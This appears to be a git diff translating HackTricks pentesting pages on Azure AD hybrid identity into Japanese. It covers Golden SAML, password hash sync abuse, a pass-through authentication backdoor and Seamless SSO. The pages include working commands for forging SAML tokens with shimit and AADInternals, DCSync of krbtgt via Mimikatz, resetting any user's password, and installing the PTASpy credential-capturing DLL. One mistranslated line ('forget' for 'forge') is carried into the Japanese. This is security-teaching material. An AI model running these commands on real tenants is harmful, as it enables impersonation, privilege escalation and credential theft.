- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
|
||||
- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
|
||||
- A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
|
||||
- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
|
||||
- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
- AD FSは、クレームベースのアイデンティティモデルです。
|
||||
- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを認可するために使用されます。"
|
||||
- ユーザーのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。
|
||||
- ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。
|
||||
- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。
|
||||
- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。
|
||||
|
||||
**Golden SAML attack:**
|
||||
**ゴールデンSAML攻撃:**
|
||||
|
||||
- In ADFS, SAML Response is signed by a token-signing certificate.
|
||||
- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
|
||||
- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
|
||||
- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
|
||||
- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
- ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
|
||||
- 証明書が侵害されると、Azure ADにANYユーザーとして認証することが可能です!
|
||||
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。
|
||||
- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
|
||||
- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。
|
||||
|
||||
### Golden SAML
|
||||
### ゴールデンSAML
|
||||
|
||||
The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP.
|
||||
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認可するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)** がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
|
||||
|
||||
A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP.
|
||||
[ゴールデンチケット攻撃](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
|
||||
|
||||
Golden SAMLs offer certain advantages:
|
||||
ゴールデンSAMLにはいくつかの利点があります:
|
||||
|
||||
- They can be **created remotely**, without the need to be part of the domain or federation in question.
|
||||
- They remain effective even with **Two-Factor Authentication (2FA)** enabled.
|
||||
- The token-signing **private key does not automatically renew**.
|
||||
- **Changing a user’s password does not invalidate** an already generated SAML.
|
||||
- **リモートで作成**でき、ドメインやフェデレーションの一部である必要はありません。
|
||||
- **二要素認証 (2FA)** が有効でも効果があります。
|
||||
- トークン署名の**秘密鍵は自動的に更新されません**。
|
||||
- **ユーザーのパスワードを変更しても**、すでに生成されたSAMLは無効になりません。
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
#### AWS + AD FS + ゴールデンSAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有することを基本的に可能にします。
|
||||
|
||||
With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.
|
||||
AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。
|
||||
|
||||
The requirements for executing a golden SAML attack include:
|
||||
ゴールデンSAML攻撃を実行するための要件は次のとおりです:
|
||||
|
||||
- **Token-signing private key**
|
||||
- **IdP public certificate**
|
||||
- **IdP name**
|
||||
- **Role name (role to assume)**
|
||||
- Domain\username
|
||||
- Role session name in AWS
|
||||
- Amazon account ID
|
||||
- **トークン署名秘密鍵**
|
||||
- **IdP公開証明書**
|
||||
- **IdP名**
|
||||
- **ロール名 (引き受けるロール)**
|
||||
- ドメイン\ユーザー名
|
||||
- AWSのロールセッション名
|
||||
- AmazonアカウントID
|
||||
|
||||
_Only the items in bold are mandatory. The others can be filled in as desired._
|
||||
|
||||
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
|
||||
_太字の項目のみが必須です。他の項目は任意で入力できます。_
|
||||
|
||||
**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
|
||||
With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
|
||||
すべての情報を使用して、[**shimit**](https://github.com/cyberark/shimit)**を使用して、なりすましたいユーザーとして有効なSAMLResponseを忘れることが可能です。
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
### オンプレミス -> クラウド
|
||||
```powershell
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
@@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
It's also possible to create ImmutableID of cloud only users and impersonate them
|
||||
|
||||
クラウド専用ユーザーのImmutableIDを作成し、彼らをなりすますことも可能です。
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
@@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期**は、ハイブリッドアイデンティティを実現するために使用されるサインイン方法の1つです。 **Azure AD Connect**は、オンプレミスのActive DirectoryインスタンスからクラウドベースのAzure ADインスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
|
||||
これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。
|
||||
|
||||
All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
|
||||
Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.
|
||||
すべての**ユーザー**と**パスワードハッシュのハッシュ**がオンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\
|
||||
さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。
|
||||
|
||||
The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.
|
||||
**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。
|
||||
|
||||
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
|
||||
オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。
|
||||
|
||||
**PHS** is required for features like **Identity Protection** and AAD Domain Services.
|
||||
**PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。
|
||||
|
||||
## Pivoting
|
||||
## ピボッティング
|
||||
|
||||
When PHS is configured some **privileged accounts** are automatically **created**:
|
||||
PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます:
|
||||
|
||||
- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
|
||||
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
|
||||
- アカウント**`MSOL_<installationID>`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレミスADで**レプリケーション(DCSync)権限**を持っていることを意味します。
|
||||
- アカウント**`Sync_<name of on-prem ADConnect Server>_installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。
|
||||
|
||||
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\
|
||||
データベースは`C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`にあります。
|
||||
|
||||
It's possible to extract the configuration from one of the tables, being one encrypted:
|
||||
テーブルの1つから構成を抽出することが可能で、その中には暗号化されたものがあります:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
|
||||
**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの**`MSOL_*`**ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。
|
||||
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
|
||||
### **Azure AD Connectサーバー**の発見
|
||||
|
||||
**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨されている)、次の方法で見つけることができます:
|
||||
```powershell
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
@@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
|
||||
### Abusing MSOL\_\*
|
||||
|
||||
### MSOL\_\*の悪用
|
||||
```powershell
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -59,14 +56,12 @@ Get-AADIntSyncCredentials
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
|
||||
> これらの資格情報を取得するために、[**adconnectdump**](https://github.com/dirkjanm/adconnectdump)を使用することもできます。
|
||||
|
||||
### Abusing Sync\_\*
|
||||
|
||||
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
|
||||
### Sync\_\*の悪用
|
||||
|
||||
**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の**パスワードをリセット**することが可能です。
|
||||
```powershell
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
|
||||
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
|
||||
|
||||
クラウドユーザーの**パスワードのみを変更する**ことも可能です(予期しない場合でも)。
|
||||
```powershell
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -98,21 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
|
||||
It's also possible to dump the password of this user.
|
||||
ユーザーのパスワードをダンプすることも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
|
||||
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことで、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。
|
||||
|
||||
### Seamless SSO
|
||||
### シームレスSSO
|
||||
|
||||
It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:
|
||||
PHSを使用してシームレスSSOを利用することが可能で、他の悪用に対して脆弱です。以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
@@ -120,7 +112,3 @@ seamless-sso.md
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,74 +1,66 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
# Az - PTA - パススルー認証
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証は、ユーザーが**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインインできる**ようにします。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証します**。
|
||||
|
||||
In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
|
||||
PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのようには**同期**されません。
|
||||
|
||||
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
|
||||
認証はオンプレミスのADで検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます(オンプレミスのDC上である必要はありません)。
|
||||
|
||||
### Authentication flow
|
||||
### 認証フロー
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
|
||||
2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
|
||||
3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
|
||||
4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
|
||||
1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。
|
||||
2. **資格情報**は**暗号化**され、Azure ADの**キュー**に設定されます。
|
||||
3. **オンプレミス認証エージェント**がキューから**資格情報**を収集し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
|
||||
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。
|
||||
|
||||
> [!WARNING]
|
||||
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
|
||||
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
|
||||
> 攻撃者が**PTA**を**侵害**した場合、キュー内のすべての**資格情報**を(**平文**で)**見る**ことができます。\
|
||||
> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。
|
||||
|
||||
### On-Prem -> cloud
|
||||
|
||||
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
|
||||
### オンプレミス -> クラウド
|
||||
|
||||
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証する**バックドアを**挿入**できます(すべてのパスワードが認証に対して有効になります):
|
||||
```powershell
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
|
||||
> **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。
|
||||
|
||||
次のcmdletを使用して、前のバックドアがインストールされたマシンで**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です:
|
||||
```powershell
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
このバックドアは以下を行います:
|
||||
|
||||
This backdoor will:
|
||||
|
||||
- Create a hidden folder `C:\PTASpy`
|
||||
- Copy a `PTASpy.dll` to `C:\PTASpy`
|
||||
- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
|
||||
- 隠しフォルダー `C:\PTASpy` を作成します
|
||||
- `PTASpy.dll` を `C:\PTASpy` にコピーします
|
||||
- `PTASpy.dll` を `AzureADConnectAuthenticationAgentService` プロセスに注入します
|
||||
|
||||
> [!NOTE]
|
||||
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
|
||||
> AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。
|
||||
|
||||
### Cloud -> On-Prem
|
||||
### クラウド -> オンプレミス
|
||||
|
||||
> [!CAUTION]
|
||||
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
|
||||
> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
|
||||
|
||||
### Seamless SSO
|
||||
### シームレス SSO
|
||||
|
||||
It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
|
||||
PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,31 +1,30 @@
|
||||
# Az - Seamless SSO
|
||||
# Az - シームレスSSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**ユーザーが企業ネットワークに接続された企業デバイス上にいるときに自動的にサインインします**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく**、通常はユーザー名すら入力する必要がありません。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**.
|
||||
基本的に、Azure AD シームレスSSOは、**オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます**。
|
||||
|
||||
It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
|
||||
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration.
|
||||
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。
|
||||
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets.
|
||||
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Azure ADは送信されたパスワードを使用してチケットを復号化します。
|
||||
|
||||
**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
